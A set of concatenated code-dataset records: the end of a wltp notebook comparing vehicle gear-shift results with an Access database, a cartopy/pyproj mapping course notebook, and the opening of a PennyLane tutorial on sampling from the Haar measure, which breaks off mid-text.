pan,\n    pyalgo_signals,\n    accdb_signals,\n    is_pyalgo_gears,\n    is_accdb_gears,\n):\n    fig.clear()\n\n    ax = plt.subplot()\n    ax2 = ax3 = None\n\n    out_specs = refresh_tabs()\n\n    (\n        cycle,\n        ok_flags,\n        ok_gears,\n        accdb_cycle,\n        accdb_gears,\n        accdb_props,\n    ) = load_interactive_case(case)\n\n    clen = max(len(cycle), len(accdb_cycle))\n    viewlen = int(clen / zoom)\n    offset = int(pan * (clen - viewlen) / max_zoom)\n    scale = idx[offset : offset + viewlen]\n\n    diffgears_total = _count_series_diffs(cycle[\"g_max0\"], accdb_cycle[\"g_max\"])\n\n    pyalgo = cycle.loc[scale]\n    accdb = accdb_cycle.loc[scale]\n    diffgears_view = _count_series_diffs(pyalgo[\"g_max0\"], accdb[\"g_max\"])\n    merged = merge_pyalgo_accdb(pyalgo, accdb)\n\n    ## Clean tabs if caseno/pan/zoom have changed.\n    #\n    if not pyalgo.equals(results[0]):\n        Tab.selected_index = None\n        for out, _, _ in out_specs:\n            with out:\n                clear_output()\n\n    results[0] = pyalgo\n    results[1] = accdb\n    results[2] = accdb_props\n\n    ax.set_title(\n        f\"Case_no: {case}, # of diff gears, in_view: {diffgears_view}, TOTAL: {diffgears_total}\"\n    )\n\n    ok_flags = ok_flags.loc[:, idx[:, gear]].iloc[scale]\n    ok_gears = ok_gears.loc[scale]\n\n    if not pyalgo[\"V_cycle\"].empty:\n        pyalgo[\"V_cycle\"].plot.line(ax=ax, color=\"0.70\", linewidth=4.5)\n\n    if is_pyalgo_gears:\n        if not ok_flags.empty:\n            ok_flags.plot.line(ax=ax, linewidth=2)\n        ok_gears.plot.line(ax=ax, linewidth=3)\n\n    ax2 = merged[[\"pyalgo/g_max0\", \"accdb/g_max\"]].plot.line(\n        ax=ax, linewidth=3, style=[\"b-\", \"c:\"], secondary_y=True\n    )\n\n    if is_accdb_gears:\n        accdb_gears = accdb.loc[:, accdb_gears] * (np.arange(len(accdb_gears)) + 1)\n        accdb_gears[accdb_gears == 0] = np.NAN\n        accdb_gears = accdb_gears.dropna(how=\"all\", axis=1).fillna(0)\n        ax2 = accdb_gears.plot.line(\n            ax=ax, linewidth=2, linestyle=\"--\", secondary_y=True\n        )\n\n    ax3 = ax.twinx()\n    show_signals = pyalgo_signals or accdb_signals\n    ax3.set_visible(show_signals)\n    if show_signals:\n        pyalgo1, pyalgo2 = _distribute_signals_in_axes(pyalgo_signals, pyalgo)\n        accdb1, accdb2 = _distribute_signals_in_axes(accdb_signals, accdb)\n\n        merged1 = merge_pyalgo_accdb(pyalgo1, accdb1)\n        merged2 = merge_pyalgo_accdb(pyalgo2, accdb2)\n\n        if not merged1.empty:\n            merged1.astype(np.float64).plot.line(ax=ax, linewidth=2, linestyle=\"--\")\n        if not merged2.empty:\n            merged2.astype(np.float64).plot.line(ax=ax3, linewidth=2, linestyle=\":\")\n            ax3.legend(loc=4)\n    ax.legend(loc=1)\n    ax2.legend(loc=3)\n\n    #     if ax2:\n    #         ax2.grid(True, axis=\"both\", which=\"both\")\n    ax.grid(True, axis=\"both\", which=\"both\")\n\n    # Re-tighten if ax3 has (dis)appeared.\n    # Had to use `rect` or axis-title half-hidden the first time fig is created!\n    fig.tight_layout(rect=[0, 0, 1, 0.985])\n\n\ndisplay(Gui)\n\ninteractive_output(\n    plot_gear_flags,\n    {\n        \"case\": Case,\n        \"gear\": Gear,\n        \"zoom\": Zoom,\n        \"pan\": Pan,\n        \"pyalgo_signals\": PyAlgoSignals,\n        \"accdb_signals\": AccDBSignals,\n        \"is_pyalgo_gears\": IsPyAlgoGears,\n        \"is_accdb_gears\": IsAccdbGears,\n    },\n)\n\n# %% [markdown]\n# # Museum\n\n# %%\n## Is clutch-undefined only used for gear 1?  NO< also for g2.\ndisplay(c1.loc[c1.clutch == \"undefined\", \"gear\"].value_counts())\n# display(c1.loc[c1.clutch=='undefined', ['v', 'a', 'g_max', 'clutch']])\n\n# %%\n# c2 = c2.loc[c2.index != 'v116']\n# p2 = p2.loc[p2.index != 'v116']\n# p2.to_excel('pyalgo_props-1.0.0.dev10.xlsx')\n# c2.to_excel('pyalgo_cycles-1.0.0.dev10.xlsx')\n\n# %% [markdown]\n# ### AccDB not respecting n_min=0.9 x n_idle (Annex 2-3.k.3):\n\n# %%\ndef is_bad_g2_in_decel_to_stop(accdb, cyc, prop):\n    cyc = cyc.reset_index(level=0)\n    # bad_rows = (accdb.g_max == 2) & cyc.stopdecel & (cyc['n/g2'] < 0.9 * prop['idling_speed'])\n    bad_rows = (accdb.g_max == 2) & (cyc.g_max0 == 1) & cyc.stopdecel\n    if bad_rows.any():\n        return pd.concat(\n            (\n                accdb.loc[bad_rows, [\"g_max\", \"n_2\"]],\n                cyc.loc[bad_rows, [\"n/g2\", \"ok_gear/g1\", \"ok_gear/g2\", \"stopdecel\"]],\n            ),\n            axis=1,\n        )\n\n\nfor case, cyc in c2.groupby(level=0):\n    accdb = c1.loc[case]\n    prop = p1.loc[case]\n    res = is_bad_g2_in_decel_to_stop(accdb, cyc, prop)\n    if res is not None:\n        display(\n            prop[[\"idling_speed\", \"vehicle_class\"]],\n            f\"0.9 x n_idle: {prop['idling_speed'] * 0.9}\",\n        )\n        if isinstance(res, tuple):\n            display(*res)\n        else:\n            display(res)\n\n\n# %% [markdown]\n# ### Insufficient power where more than one gears are N-valid:\n\n# %%\ndef is_more_low_powered_gears(cyc):\n    cyc2 = cyc.copy()\n    cyc2.columns = wio.inflate_columns(cyc2.columns)\n    c22 = cyc2.iloc[1571:1579][[\"ok_p\", \"ok_max_n\"]].dropna(axis=1, how=\"all\")\n    try:\n        ## is there any row with all-low-p AND 2-or-more n-max-ok?\n        bad_rows = (~c22[\"ok_p\"].replace(-1, 0).astype(\"bool\")).all(axis=1) & (\n            c22[\"ok_max_n\"].replace(-1, 0).astype(\"bool\").sum(axis=1) > 1\n        )\n        if bad_rows.any():\n            c22.columns = wio.flatten_columns(c22.columns)\n            return (\n                list(bad_rows[bad_rows].index),\n                pd.concat(\n                    (c22, cyc.iloc[1571:1579].loc[:, [\"g_min\", \"g_max\"]]), axis=1\n                ),\n            )\n    except Exception as ex:\n        print(ex)\n\n\nfor case, cyc in c2.groupby(level=0):\n    res = is_more_low_powered_gears(cyc)\n    if res is not None:\n        display(p2.loc[case, [\"wltc_class\", \"g_vmax\"]])\n        if isinstance(res, tuple):\n            display(*res)\n        else:\n            display(res)\n", "meta": {"hexsha": "a7b7595599371c7f4497fd1300a230f4f2f5b4f8", "size": 21948, "ext": "py", "lang": "Python", "max_stars_repo_path": "Notebooks/CarsDB-compare.py", "max_stars_repo_name": "ankostis/wltp", "max_stars_repo_head_hexsha": "c95462cadbcab32d4fc94f8ea8bf9d85a0a3763e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Notebooks/CarsDB-compare.py", "max_issues_repo_name": "ankostis/wltp", "max_issues_repo_head_hexsha": "c95462cadbcab32d4fc94f8ea8bf9d85a0a3763e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Notebooks/CarsDB-compare.py", "max_forks_repo_name": "ankostis/wltp", "max_forks_repo_head_hexsha": "c95462cadbcab32d4fc94f8ea8bf9d85a0a3763e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2015-02-20T11:47:33.000Z", "max_forks_repo_forks_event_max_datetime": "2015-02-20T11:47:33.000Z", "avg_line_length": 28.9169960474, "max_line_length": 145, "alphanum_fraction": 0.6314926189, "include": true, "reason": "import numpy", "num_tokens": 6611, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632157796989345, "lm_q2_score": 0.14804719427274565, "lm_q1q2_score": 0.06311571347637229}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_filter: all\n#     notebook_metadata_filter: all,-language_info,-toc,-latex_envs\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %%\nimport a301_lib\nfrom pathlib import Path\nfrom matplotlib import pyplot as plt\nimport pprint\nimport geopandas as gpd\nimport cartopy.crs as ccrs\nimport matplotlib.pyplot as plt\nimport cartopy\nfrom pathlib import Path\nimport pprint\nimport numpy as np\nfrom pyproj import CRS, Transformer\nimport datetime\nimport pytz\nfrom IPython.display import display\npacific = pytz.timezone(\"US/Pacific\")\ndate = datetime.datetime.today().astimezone(pacific)\nprint(f\"written on {date}\")\n\n# %% [markdown]\n# # Adding features to a cartopy map\n#\n# This is an updated version of the [first mapping notebook](https://a301_web.eoas.ubc.ca/week4/cartopy_mapping_h5.html#geographic-coordinate-systems) with two\n# changes:\n#\n# 1. Change the coordinate transformation code from cartopy's [transform_points](https://scitools.org.uk/cartopy/docs/latest/crs/index.html) to pyproj's [Transformer](https://pyproj4.github.io/pyproj/stable/api/transformer.html)\n#\n# 2. Add features from a geojson file that maps North American rivers, which I downloaded from [natural earth](https://github.com/nvkelso/natural-earth-vector/tree/master/geojson)\n#\n# Why am I changing the code for CRS transformation from cartopy to pyproj?  Basically because cartopy is planning\n# to move from its own transformation code to the newer pyproj format, but it's \n# [still in underway](https://github.com/SciTools/cartopy/pull/1023).  Eventually, we won't have to switch between\n# cartopy's coordinate objects and pyprojs, but for now, I need to create separate versions for each package:\n#    \n#    \n#    1. Lambert Azimuthal Equal Area for cartopy: cartopy_laea\n#    1. Lambert Azimuthal Equal Area for pyproj:  proj_laea\n#    1. Geodetic lat/lon for cartopy: cartopy_latlon (cartopy.crs.PlateCarree())\n#    1. Geodetic lat/lon for pyproj:  proj_latlon\n#    \n# Note the different formats when I print them out below -- pyproj is much fancier.\n\n# %% scrolled=false\n#\ncartopy_laea = ccrs.LambertAzimuthalEqualArea(\n    central_latitude= 45, central_longitude=-123\n)\n\nproj_laea = CRS.from_proj4(cartopy_laea.proj4_init)\nproj_latlon = CRS.from_proj4(\"+proj=latlon\")\ncartopy_latlon = cartopy.crs.PlateCarree()\nprint(f\"{cartopy_latlon.proj4_params=}\\n\")\nprint(f\"{cartopy_laea.proj4_params=}\\n\")\nprint(f\"{proj_latlon=}\")\nprint(f\"{proj_laea=}\")\nprint(f\"{proj_latlon.to_wkt()=}\")\n\n# %% [markdown]\n# ## Checking the coordinates\n#\n# In this cell I set up the bounding box.  As a santity check, I make sure that\n# the upper left and lower right corner coordinates are in the correct order\n# (left more negative than right, bottom more negative than top) and that\n# Vancouver is inside the box.\n\n# %%\nul_corner = (-135,52)\nlr_corner = (-105,35)\ntransform = Transformer.from_crs(proj_latlon, proj_laea)\nlaea_x, laea_y = transform.transform([ul_corner[0],lr_corner[0]],\n                                           [ul_corner[1],lr_corner[1]])\nul_corner = laea_x[0],laea_y[0]\nlr_corner = laea_x[1], laea_y[1]\nprint(f\"{[ul_corner,lr_corner]}=\")\nvan_lon, van_lat = [-123.1207, 49.2827]\nvan_x, van_y = transform.transform(van_lon, van_lat)\nprint(f\"{van_x=},{van_y=}\")\n\n# %%\nfig, ax = plt.subplots(1, 1, figsize=(15, 15), subplot_kw={\"projection\": cartopy_laea})\n#\n# extent order  [xleft, xright, ybot, ytop]\n#\nlaea_extent = [ul_corner[0], lr_corner[0], lr_corner[1], ul_corner[1]]\nax.set_extent(laea_extent, cartopy_laea)\n#\n# the simple lon,lat projection is called \"geodetic\"\n#\nax.plot(van_x, van_y, \"ro\", markersize=10)\nax.gridlines(linewidth=2)\nax.add_feature(cartopy.feature.GSHHSFeature(scale=\"coarse\", levels=[1, 2, 3]));\nax.coastlines(resolution=\"10m\", color=\"red\", lw=2);\n\n# %% [markdown]\n# ## Adding a new set of features\n#\n# Here are the shape files I've downloaded.  See the Readme_gshhs_wdbII.md for details.  The\n# \"10m\" in the file names mean:  1:10 million -- i.e. 1 meter on a map is 10 million meters\n# in the real world, or equivalently, 1 cm on the map is 100 km in the real world.\n\n# %% scrolled=false\nopenstreetmap_dir = a301_lib.data_share / 'openstreetmap'\nall_shapes = list(openstreetmap_dir.glob(\"*\"))\n[print(item.name) for item in all_shapes];\n\n# %% [markdown]\n# ## Read the North American Rivers geojson file\n\n# %% scrolled=true\nmap_folder = a301_lib.data_share / 'openstreetmap'\nna_rivers = list(map_folder.glob(\"*rivers*north*\"))[0]\ndf_rivers=gpd.read_file(na_rivers)\nprint(f\"{df_rivers.crs=}\\n\")\nprint(f\"\\n{df_rivers.head()=}\\n\")\n\n# %% [markdown]\n# * Here is the first row in the dataframe\n\n# %%\ndf_rivers.iloc[0].geometry\n\n# %% [markdown]\n# ## Add rivers to the map\n#\n# Now put the rivers on the map and redraw.\n\n# %% scrolled=false\nax.add_geometries(df_rivers['geometry'],cartopy_latlon,facecolor=\"none\",edgecolor=\"green\")\ndisplay(fig)\n", "meta": {"hexsha": "aefb44a95e20d07b239a707406ac6c14e2bbeedc", "size": 5063, "ext": "py", "lang": "Python", "max_stars_repo_path": "week11/features_demo.py", "max_stars_repo_name": "phaustin/a301_2020", "max_stars_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-01-26T03:59:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-26T03:59:16.000Z", "max_issues_repo_path": "week11/features_demo.py", "max_issues_repo_name": "phaustin/a301_2020", "max_issues_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week11/features_demo.py", "max_forks_repo_name": "phaustin/a301_2020", "max_forks_repo_head_hexsha": "9be7ead5f641013e2cec4e736ea76171b849e8d5", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-02-01T09:55:18.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-01T09:55:18.000Z", "avg_line_length": 34.4421768707, "max_line_length": 228, "alphanum_fraction": 0.7272368161, "include": true, "reason": "import numpy", "num_tokens": 1460, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632157796989345, "lm_q2_score": 0.14804719427274565, "lm_q1q2_score": 0.06311571347637229}}
{"text": "r\"\"\".. role:: html(raw)\r\n   :format: html\r\n\r\nUnderstanding the Haar Measure\r\n==============================\r\n\r\n.. meta::\r\n    :property=\"og:description\": Learn all about the Haar measure and how to randomly sample quantum states.\r\n\r\n    :property=\"og:image\": https://pennylane.ai/qml/_images/spherical_int_dtheta.png\r\n\r\n.. related::\r\n\r\n    tutorial_unitary_designs Unitary designs\r\n    quantum_volume Quantum volume\r\n    qsim_beyond_classical Beyond classical computing with qsim\r\n    tutorial_barren_plateaus Barren plateaus\r\n\r\n\r\n*Author: PennyLane dev team. Posted: 22 March 2021. Last updated: 22 March 2021.*\r\n\r\nIf you've ever dug into the literature about random quantum circuits,\r\nvariational ansatz structure, or anything related to the structure and\r\nproperties of unitary operations, you've likely come across a statement like the\r\nfollowing: \"Assume that :math:`U` is sampled uniformly at random from the Haar\r\nmeasure\".  In this demo, we're going to unravel this cryptic statement and take\r\nan in-depth look at what it means. You'll gain an understanding of the general\r\nconcept of *measure*, the Haar measure and its special properties, and you'll\r\nlearn how to sample from it using tools available in PennyLane and other\r\nscientific computing frameworks. By the end of this demo, you'll be able to\r\ninclude that important statement in your own work with confidence!\r\n\r\n.. note::\r\n\r\n   To get the most out of this demo, it is helpful if you are familiar with\r\n   `integration of multi-dimensional functions\r\n   <https://en.wikipedia.org/wiki/Multiple_integral>`__, the `Bloch sphere\r\n   <https://en.wikipedia.org/wiki/Bloch_sphere>`__, and the conceptual ideas\r\n   behind `decompositions\r\n   <https://en.wikipedia.org/wiki/Matrix_decomposition>`__ and factorizations of\r\n   unitary matrices (see, e.g., 4.5.1 and 4.5.2 of [#NandC2000]_).\r\n\r\nMeasure\r\n-------\r\n\r\n`Measure theory <https://en.wikipedia.org/wiki/Measure_(mathematics)>`__ is a\r\nbranch of mathematics that studies things that are measurable---think length,\r\narea, or volume, but generalized to mathematical spaces and even higher\r\ndimensions. Loosely, the measure tells you about how \"stuff\" is distributed and\r\nconcentrated in a mathematical set or space. An intuitive way to understand\r\nmeasure is to think about a sphere. An arbitrary point on a sphere can be\r\nparametrized by three numbers---depending on what you're doing, you may use\r\nCartesian coordinates :math:`(x, y, z)`, or it may be more convenient to use\r\nspherical coordinates :math:`(\\rho, \\phi, \\theta)`.\r\n\r\nSuppose you wanted to compute the volume of a solid sphere with radius\r\n:math:`r`.  This can be done by integrating over the three coordinates\r\n:math:`\\rho, \\phi`, and :math:`\\theta`. Your first thought here may be to simply\r\nintegrate each parameter over its full range, like so:\r\n\r\n.. math::\r\n\r\n    V = \\int_0^{r} \\int_0^{2\\pi} \\int_0^{\\pi} d\\rho~ d\\phi~ d\\theta = 2\\pi^2 r\r\n\r\nBut, we know that the volume of a sphere of radius :math:`r` is\r\n:math:`\\frac{4}{3}\\pi r^3`, so what we got from this integral is clearly wrong!\r\nTaking the integral naively like this doesn't take into account the structure of\r\nthe sphere with respect to the parameters. For example, consider\r\ntwo small, infinitesimal elements of area with the same difference in\r\n:math:`\\theta` and :math:`\\phi`, but at different values of :math:`\\theta`:\r\n\r\n.. figure:: /demonstrations/haar_measure/spherical_int_dtheta.png\r\n    :align: center\r\n    :width: 50%\r\n\r\n    |\r\n\r\nEven though the differences :math:`d\\theta` and :math:`d\\phi` themselves are the\r\nsame, there is way more \"stuff\" near the equator of the sphere than there is\r\nnear the poles. We must take into account the value of :math:`\\theta` when\r\ncomputing the integral! Specifically, we multiply by the function\r\n:math:`\\sin\\theta`---the properties of the :math:`\\sin` function mean that the\r\nmost weight will occur around the equator where :math:`\\theta=\\pi/2`, and the\r\nleast weight near the poles where :math:`\\theta=0` and :math:`\\theta=\\pi`.\r\n\r\nSimilar care must be taken for :math:`\\rho`.  The contribution to volume of\r\nparts of the sphere with a large :math:`\\rho` is far more than for a small\r\n:math:`\\rho`---we should expect the contribution to be proportional to\r\n:math:`\\rho^2`, given that the surface area of a sphere of radius :math:`r` is\r\n:math:`4\\pi r^2`.\r\n\r\nOn the other hand, for a fixed :math:`\\rho` and :math:`\\theta`, the length of\r\nthe :math:`d\\phi` is the same all around the circle. If put all these facts\r\ntogether, we find that the actual expression for the integral should look like\r\nthis:\r\n\r\n.. math::\r\n\r\n    V = \\int_0^r \\int_0^{2\\pi} \\int_0^{\\pi} \\rho^2 \\sin \\theta~ d\\rho~ d\\phi~\r\n    d\\theta = \\frac{4}{3}\\pi r^3\r\n\r\nThese extra terms that we had to add to the integral, :math:`\\rho^2 \\sin\r\n\\theta`, constitute the *measure*. The measure weights portions of the sphere\r\ndifferently depending on where they are in the space. While we need to know the\r\nmeasure to properly integrate over the sphere, knowledge of the measure also\r\ngives us the means to perform another important task, that of sampling points in\r\nthe space uniformly at random. We can't simply sample each parameter from the\r\nuniform distribution over its domain---as we experienced already, this doesn't\r\ntake into account how the sphere is spread out over space. The measure describes\r\nthe distribution of each parameter and gives a recipe for sampling them in order\r\nto obtain something properly uniform.\r\n\r\nThe Haar measure\r\n----------------\r\n\r\nOperations in quantum computing are described by unitary matrices.\r\nUnitary matrices, like points on a sphere, can be expressed in terms of a fixed\r\nset of coordinates, or parameters. For example, the most general single-qubit rotation\r\nimplemented in PennyLane (:class:`~.pennylane.Rot`) is expressed in terms of three\r\nparameters like so,\r\n\r\n.. math::\r\n\r\n    U(\\phi, \\theta, \\omega) = \\begin{pmatrix} e^{-i(\\phi + \\omega)/2}\r\n                        \\cos(\\theta/2) & -e^{i(\\phi - \\omega)/2} \\sin(\\theta/2)\r\n                        \\\\ e^{-i(\\phi - \\omega)/2} \\sin(\\theta/2) & e^{i(\\phi +\r\n                        \\omega)/2} \\cos(\\theta/2) \\end{pmatrix}.\r\n\r\nFor every dimension :math:`N`, the unitary matrices of size :math:`N \\times N`\r\nconstitute the *unitary group* :math:`U(N)`. We can perform operations on\r\nelements of this group, such as apply functions to them, integrate over them, or\r\nsample uniformly over them, just as we can do to points on a sphere. When we do\r\nsuch tasks with respect to the sphere, we have to add the measure in order to\r\nproperly weight the different regions of space. The *Haar measure* provides the\r\nanalogous terms we need for working with the unitary group.\r\n\r\nFor an :math:`N`-dimensional system, the Haar measure, often denoted by\r\n:math:`\\mu_N`, tells us how to weight the elements of :math:`U(N)`. For\r\nexample, suppose :math:`f` is a function that acts on elements of :math:`U(N)`,\r\nand we would like to take its integral over the group. We must write this\r\nintegral with respect to the Haar measure, like so:\r\n\r\n.. math::\r\n\r\n    \\int_{V \\in U(N)} f(V) d\\mu_N(V).\r\n\r\nAs with the measure term of the sphere, :math:`d\\mu_N` itself can be broken down\r\ninto components depending on individual parameters.  While the Haar\r\nmeasure can be defined for every dimension :math:`N`, the mathematical form gets\r\nquite hairy for larger dimensions---in general, an :math:`N`-dimensional unitary\r\nrequires at least :math:`N^2 - 1` parameters, which is a lot to keep track of!\r\nTherefore we'll start with the case of a single qubit :math:`(N=2)`, then show\r\nhow things generalize.\r\n\r\nSingle-qubit Haar measure\r\n~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nThe single-qubit case provides a particularly nice entry point because we can\r\ncontinue our comparison to spheres by visualizing single-qubit states on the\r\nBloch sphere. As expressed above, the measure provides a recipe for sampling\r\nelements of the unitary group in a properly uniform manner, given the structure\r\nof the group. One useful consequence of this is that it provides a method to\r\nsample quantum *states* uniformly at random---we simply generate Haar-random\r\nunitaries, and apply them to a fixed basis state such as :math:`\\vert 0\\rangle`.\r\n\r\nWe'll see how this works in good time. First, we'll take a look at what happens\r\nwhen we ignore the measure and do things *wrong*. Suppose we sample quantum\r\nstates by applying unitaries obtained by the parametrization above, but sample\r\nthe angles :math:`\\omega, \\phi`, and :math:`\\theta` from the flat uniform\r\ndistribution between :math:`[0, 2\\pi)` (fun fact: there is a measure implicit in\r\nthis kind of sampling too! It just has a constant value, because each point is\r\nequally likely to be sampled).\r\n\r\n\"\"\"\r\n\r\nimport pennylane as qml\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# set the random seed\r\nnp.random.seed(42)\r\n\r\n# Use the mixed state simulator to save some steps in plotting later\r\ndev = qml.device('default.mixed', wires=1)\r\n\r\n@qml.qnode(dev)\r\ndef not_a_haar_random_unitary():\r\n    # Sample all parameters from their flat uniform distribution\r\n    phi, theta, omega = 2 * np.pi * np.random.uniform(size=3)\r\n    qml.Rot(phi, theta, omega, wires=0)\r\n    return qml.state()\r\n\r\nnum_samples = 2021\r\n\r\nnot_haar_samples = [not_a_haar_random_unitary() for _ in range(num_samples)]\r\n\r\n######################################################################\r\n# In order to plot these on the Bloch sphere, we'll need to do one more\r\n# step, and convert the quantum states into Bloch vectors.\r\n#\r\n\r\nX = np.array([[0, 1], [1, 0]])\r\nY = np.array([[0, -1j], [1j, 0]])\r\nZ = np.array([[1, 0], [0, -1]])\r\n\r\n# Used the mixed state simulator so we could have the density matrix for this part!\r\ndef convert_to_bloch_vector(rho):\r\n    \"\"\"Convert a density matrix to a Bloch vector.\"\"\"\r\n    ax = np.trace(np.dot(rho, X)).real\r\n    ay = np.trace(np.dot(rho, Y)).real\r\n    az = np.trace(np.dot(rho, Z)).real\r\n    return [ax, ay, az]\r\n\r\nnot_haar_bloch_vectors = np.array([convert_to_bloch_vector(s) for s in not_haar_samples])\r\n\r\n######################################################################\r\n# With this done, let's find out where our \"uniformly random\" states ended up:\r\n\r\ndef plot_bloch_sphere(bloch_vectors):\r\n    \"\"\" Helper function to plot vectors on a sphere.\"\"\"\r\n    fig = plt.figure(figsize=(6, 6))\r\n    ax = fig.add_subplot(111, projection='3d')\r\n    fig.subplots_adjust(left=0, right=1, bottom=0, top=1)\r\n\r\n    ax.grid(False)\r\n    ax.set_axis_off()\r\n    ax.view_init(30, 45)\r\n    ax.dist = 7\r\n\r\n    # Draw the axes (source: https://github.com/matplotlib/matplotlib/issues/13575)\r\n    x, y, z = np.array([[-1.5,0,0], [0,-1.5,0], [0,0,-1.5]])\r\n    u, v, w = np.array([[3,0,0], [0,3,0], [0,0,3]])\r\n    ax.quiver(x, y, z, u, v, w, arrow_length_ratio=0.05, color=\"black\", linewidth=0.5)\r\n\r\n    ax.text(0, 0, 1.7, r\"|0\u27e9\", color=\"black\", fontsize=16)\r\n    ax.text(0, 0, -1.9, r\"|1\u27e9\", color=\"black\", fontsize=16)\r\n    ax.text(1.9, 0, 0, r\"|+\u27e9\", color=\"black\", fontsize=16)\r\n    ax.text(-1.7, 0, 0, r\"|\u2013\u27e9\", color=\"black\", fontsize=16)\r\n    ax.text(0, 1.7, 0, r\"|i+\u27e9\", color=\"black\", fontsize=16)\r\n    ax.text(0,-1.9, 0, r\"|i\u2013\u27e9\", color=\"black\", fontsize=16)\r\n\r\n    ax.scatter(\r\n        bloch_vectors[:,0], bloch_vectors[:,1], bloch_vectors[:, 2], c='#e29d9e', alpha=0.3\r\n    )\r\n\r\nplot_bloch_sphere(not_haar_bloch_vectors)\r\n\r\n######################################################################\r\n# You can see from this plot that even though our parameters were sampled from a\r\n# uniform distribution, there is a noticeable amount of clustering around the poles\r\n# of the sphere. Despite the input parameters being uniform, the output is very\r\n# much *not* uniform. Just like the regular sphere, the measure is larger near\r\n# the equator, and if we just sample uniformly, we won't end up populating that\r\n# area as much. To take that into account we will need to sample from the proper\r\n# Haar measure, and weight the different parameters appropriately.\r\n#\r\n# For a single qubit, the Haar measure looks much like the case of a sphere,\r\n# minus the radial component. Intuitively, all qubit state vectors have length\r\n# 1, so it makes sense that this wouldn't play a role here. The parameter that\r\n# we will have to weight differently is :math:`\\theta`, and in fact the\r\n# adjustment in measure is identical to that we had to do with the polar axis of\r\n# the sphere, i.e., :math:`\\sin \\theta`. In order to sample the :math:`\\theta`\r\n# uniformly at random in this context, we must sample from the distribution\r\n# :math:`\\hbox{Pr}(\\theta) = \\sin \\theta`. We can accomplish this by setting up\r\n# a custom probability distribution with \r\n# `rv_continuous <https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.rv_continuous.html#scipy.stats.rv_continuous>`__\r\n# in ``scipy``.\r\n\r\nfrom scipy.stats import rv_continuous\r\n\r\nclass sin_prob_dist(rv_continuous):\r\n    def _pdf(self, theta):\r\n        # The 0.5 is so that the distribution is normalized\r\n        return 0.5 * np.sin(theta)\r\n\r\n# Samples of theta should be drawn from between 0 and pi\r\nsin_sampler = sin_prob_dist(a=0, b=np.pi)\r\n\r\n@qml.qnode(dev)\r\ndef haar_random_unitary():\r\n    phi, omega = 2 * np.pi * np.random.uniform(size=2) # Sample phi and omega as normal\r\n    theta = sin_sampler.rvs(size=1) # Sample theta from our new distribution\r\n    qml.Rot(phi, theta, omega, wires=0)\r\n    return qml.state()\r\n\r\nhaar_samples = [haar_random_unitary() for _ in range(num_samples)]\r\nhaar_bloch_vectors = np.array([convert_to_bloch_vector(s) for s in haar_samples])\r\n\r\nplot_bloch_sphere(haar_bloch_vectors)\r\n\r\n######################################################################\r\n# We see that when we use the correct measure, our qubit states are now\r\n# much better distributed over the sphere. Putting this information together,\r\n# we can now write the explicit form for the single-qubit Haar measure:\r\n#\r\n# .. math::\r\n#\r\n#    d\\mu_2 = \\sin \\theta d\\theta \\cdot d\\omega \\cdot d\\phi.\r\n# \r\n# Show me more math!\r\n# ~~~~~~~~~~~~~~~~~~\r\n#\r\n# While we can easily visualize the single-qubit case, this is no longer\r\n# possible when we increase the number of qubits. Regardless, we can still\r\n# obtain a mathematical expression for the Haar measure in arbitrary\r\n# dimensions. In the previous section, we expressed the Haar measure in terms of\r\n# a set of parameters that can be used to specify the unitary group\r\n# :math:`U(2)`. Such a parametrization is not unique, and in fact there are\r\n# multiple ways to *factorize*, or decompose an :math:`N`-dimensional unitary\r\n# operation into a set of parameters.\r\n#\r\n# Many of these parametrizations come to us from the study of photonics.  Here,\r\n# arbitrary operations are broken down into elementary operations involving only\r\n# a few parameters which correspond directly to parameters of the physical\r\n# apparatus used to implement them (beamsplitters and phase shifts). Rather than\r\n# qubits, such operations act on modes, or *qumodes*. They are expressed as\r\n# elements of the :math:`N`-dimensional `special unitary group\r\n# <https://en.wikipedia.org/wiki/Special_unitary_group>`__. This group, written\r\n# as :math:`SU(N)`, is the continuous group consisting of all :math:`N \\times N`\r\n# unitary operations with determinant 1 (essentially like :math:`U(N)`, minus\r\n# a potential global phase).\r\n#\r\n#\r\n# .. note::\r\n#\r\n#     Elements of :math:`SU(N)` and :math:`U(N)` can still be considered as\r\n#     multi-qubit operations in the cases where :math:`N` is a power of 2, but\r\n#     they must be translated from continuous-variable operations into qubit\r\n#     operations. (In PennyLane, this can be done by feeding the unitaries to\r\n#     the :class:`~.pennylane.QubitUnitary` operation directly. Alternatively,\r\n#     one can use *quantum compilation* to express the operations as a sequence\r\n#     of elementary gates such as Pauli rotations and CNOTs.)\r\n#\r\n# .. admonition:: Tip\r\n#\r\n#    If you haven't had many opportunities to work in terms of qumodes, the\r\n#    `Strawberry Fields documentation\r\n#    <https://strawberryfields.ai/photonics/concepts/photonics.html>`__ is a\r\n#    good starting point.\r\n#\r\n# For example, we saw already above that for :math:`N=2`, we can write\r\n#\r\n# .. 